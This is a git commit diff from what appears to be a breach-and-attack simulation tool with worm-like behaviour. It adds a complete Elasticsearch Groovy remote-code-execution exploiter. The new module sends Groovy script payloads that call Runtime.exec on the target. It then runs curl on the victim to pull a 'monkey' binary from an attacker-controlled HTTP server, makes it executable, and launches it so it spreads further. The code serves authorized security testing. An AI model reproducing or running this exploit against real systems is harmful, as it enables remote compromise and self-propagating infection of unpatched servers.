Added Elastic attack

This commit is contained in:
Daniel Goldberg 2017-09-26 15:43:46 +03:00
parent 5e133b78f3
commit 6708e623fc
4 changed files with 228 additions and 2 deletions

View File

@ -6,7 +6,7 @@ from abc import ABCMeta
from itertools import product from itertools import product
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \ from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \
SambaCryExploiter SambaCryExploiter, ElasticGroovyExploiter
from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger
from network.range import FixedRange from network.range import FixedRange
@ -145,6 +145,7 @@ class Configuration(object):
finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger] finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger]
exploiter_classes = [SmbExploiter, WmiExploiter, RdpExploiter, Ms08_067_Exploiter, # Windows exploits exploiter_classes = [SmbExploiter, WmiExploiter, RdpExploiter, Ms08_067_Exploiter, # Windows exploits
SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux
ElasticGroovyExploiter, # multi
] ]
# how many victims to look for in a single scan iteration # how many victims to look for in a single scan iteration

View File

@ -33,7 +33,9 @@
"WmiExploiter", "WmiExploiter",
"RdpExploiter", "RdpExploiter",
"Ms08_067_Exploiter", "Ms08_067_Exploiter",
"ShellShockExploiter" "ShellShockExploiter",
"ElasticGroovyExploiter",
"SambaCryExploiter",
], ],
"finger_classes": [ "finger_classes": [
"SSHFinger", "SSHFinger",

View File

@ -14,6 +14,7 @@ class HostExploiter(object):
def exploit_host(self, host, depth=-1, src_path=None): def exploit_host(self, host, depth=-1, src_path=None):
raise NotImplementedError() raise NotImplementedError()
from win_ms08_067 import Ms08_067_Exploiter from win_ms08_067 import Ms08_067_Exploiter
from wmiexec import WmiExploiter from wmiexec import WmiExploiter
from smbexec import SmbExploiter from smbexec import SmbExploiter
@ -21,3 +22,4 @@ from rdpgrinder import RdpExploiter
from sshexec import SSHExploiter from sshexec import SSHExploiter
from shellshock import ShellShockExploiter from shellshock import ShellShockExploiter
from sambacry import SambaCryExploiter from sambacry import SambaCryExploiter
from elasticgroovy import ElasticGroovyExploiter

View File

@ -0,0 +1,221 @@
"""
Implementation is based on elastic search groovy exploit by metasploit
https://github.com/rapid7/metasploit-framework/blob/12198a088132f047e0a86724bc5ebba92a73ac66/modules/exploits/multi/elasticsearch/search_groovy_script.rb
"""
import json
import logging
import requests
from exploit import HostExploiter
from model import MONKEY_ARG
from model.host import VictimHost
from network.elasticfinger import ES_SERVICE, ES_PORT
from tools import get_target_monkey, HTTPTools, build_monkey_commandline
__author__ = 'danielg'
LOG = logging.getLogger(__name__)
TIMEOUT = 2
DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder
VULNERABLE_VERSION = "1.4.2"
class ElasticGroovyExploiter(HostExploiter):
_target_os_type = ['linux', 'windows']
BASE_URL = 'http://%s:%s/_search?pretty'
GENERIC_QUERY = '''{"size":1, "script_fields":{"monkey_result": {"script": "%s"}}}'''
JAVA_IS_VULNERABLE = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.Runtime\\")'
JAVA_GET_TMP_DIR = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"java.io.tmpdir\\")'
JAVA_GET_OS = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"os.name\\")'
JAVA_CMD = GENERIC_QUERY % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"""
JAVA_GET_BIT_LINUX = JAVA_CMD % '/bin/uname -m'
def __init__(self):
self._config = __import__('config').WormConfiguration
self.skip_exist = self._config.skip_exploit_if_file_exist
self.host = None
def is_os_supported(self, host):
"""
Checks if the host is vulnerable.
Either using version string or by trying to attack
:param host: VictimHost
:return:
"""
if host.os.get('type') in self._target_os_type:
return True
if ES_SERVICE not in host.services:
LOG.info("Host: %s doesn't have ES open" % host.ip_addr)
return False
major, minor, build = host.services[ES_SERVICE]['version'].split('.')
if major > 1:
return False
if major == 1 and minor > 4:
return False
if major == 1 and minor == 4 and build > 2:
return False
return self.is_vulnerable(host)
def exploit_host(self, host, depth=-1, src_path=None):
assert isinstance(host, VictimHost)
self.host = host
real_host_os = self.get_host_os()
host.os['type'] = str(real_host_os.lower()) # strip unicode characters
if 'linux' in host.os['type']:
return self.exploit_host_linux(host, depth, src_path)
else:
return self.exploit_host_windows(host, depth, src_path)
def exploit_host_windows(self, host, depth=-1, src_path=None):
"""
TODO
Will exploit windows similar to smbexec
:param host:
:param depth:
:param src_path:
:return:
"""
return False
def exploit_host_linux(self, host, depth=-1, src_path=None):
"""
Exploits linux using similar flow to sshexec and shellshock.
Meaning run remote commands to copy files over HTTP
:param host:
:param depth:
:param src_path:
:return:
"""
uname_machine = self.get_linux_arch()
if '' != uname_machine:
host.os['machine'] = str(uname_machine.lower().strip()) # strip unicode characters
dropper_target_path_linux = self._config.dropper_target_path_linux
if self.skip_exist and (self.check_if_remote_file_exists_linux(dropper_target_path_linux)):
LOG.info("Host %s was already infected under the current configuration, done" % host)
return True # return already infected
src_path = src_path or get_target_monkey(host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", host)
return False
http_path, http_thread = HTTPTools.create_transfer(host, src_path)
if not http_path:
LOG.debug("Exploiter %s failed, http transfer creation failed." % self.__name__)
return False
download_command = '/usr/bin/curl %s -o %s' % (
http_path, dropper_target_path_linux)
self.run_shell_command(download_command)
http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop()
if (http_thread.downloads != 1) or (
'ELF' not in
self.check_if_remote_file_exists_linux(dropper_target_path_linux)):
LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__)
return False
chmod = '/bin/chmod +x %s' % dropper_target_path_linux
self.run_shell_command(chmod)
cmdline = "%s %s" % (dropper_target_path_linux, MONKEY_ARG)
cmdline += build_monkey_commandline(host, depth - 1) + ' & '
self.run_shell_command(cmdline)
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
self._config.dropper_target_path_linux, host, cmdline)
if not (self.check_if_remote_file_exists_linux(self._config.monkey_log_path_linux)):
LOG.info("Log file does not exist, monkey might not have run")
return True
def check_if_remote_file_exists_linux(self, file_path):
"""
:param file_path:
:return:
"""
cmdline = '/usr/bin/head -c 4 %s' % file_path
return self.run_shell_command(cmdline)
def run_shell_command(self, command):
"""
Runs a single shell command and returns the result.
:param command:
:return:
"""
payload = self.JAVA_CMD % command
return self.get_command_result(payload)
def get_linux_arch(self):
"""
Returns host as per uname -m
:return:
"""
return self.get_command_result(self.JAVA_GET_BIT_LINUX)
def get_host_tempdir(self):
"""
Returns where to write our file given our permissions
:return: Temp directory path in target host
"""
return self.get_command_result(self.JAVA_GET_TMP_DIR)
def get_host_os(self):
"""
:return: target OS
"""
return self.get_command_result(self.JAVA_GET_OS)
def is_vulnerable(self, host):
"""
Checks if a given elasticsearch host is vulnerable to the groovy attack
:param host: Host, with an open 9200 port
:return: True/False
"""
self.host = host
result_text = self.get_command_result(self.JAVA_IS_VULNERABLE)
return 'java.lang.Runtime' in result_text
def get_command_result(self, payload):
"""
Gets the result of an attack payload with a single return value.
:param payload: Payload that fits the GENERIC_QUERY template.
:return:
"""
result = self.attack_query(payload)
if not result: # not vulnerable
return False
if 1 != len(result): # weird
return None
return result[0]
@property
def attack_url(self):
"""
Composes the URL to attack per host IP and port.
:return:
"""
return self.BASE_URL % (self.host.ip_addr, ES_PORT)
def attack_query(self, payload):
"""
Wraps the requests query and the JSON parsing.
Just reduce opportunity for bugs
:param payload:
:return: List of data fields or None
"""
response = requests.get(self.attack_url, data=payload)
result = self.get_results(response)
return result
@staticmethod
def get_results(response):
"""
Extracts the result data from our attack
:return: List of data fields or None
"""
try:
json_resp = json.loads(response.text)
return json_resp['hits']['hits'][0]['fields']['monkey_result']
except KeyError:
return None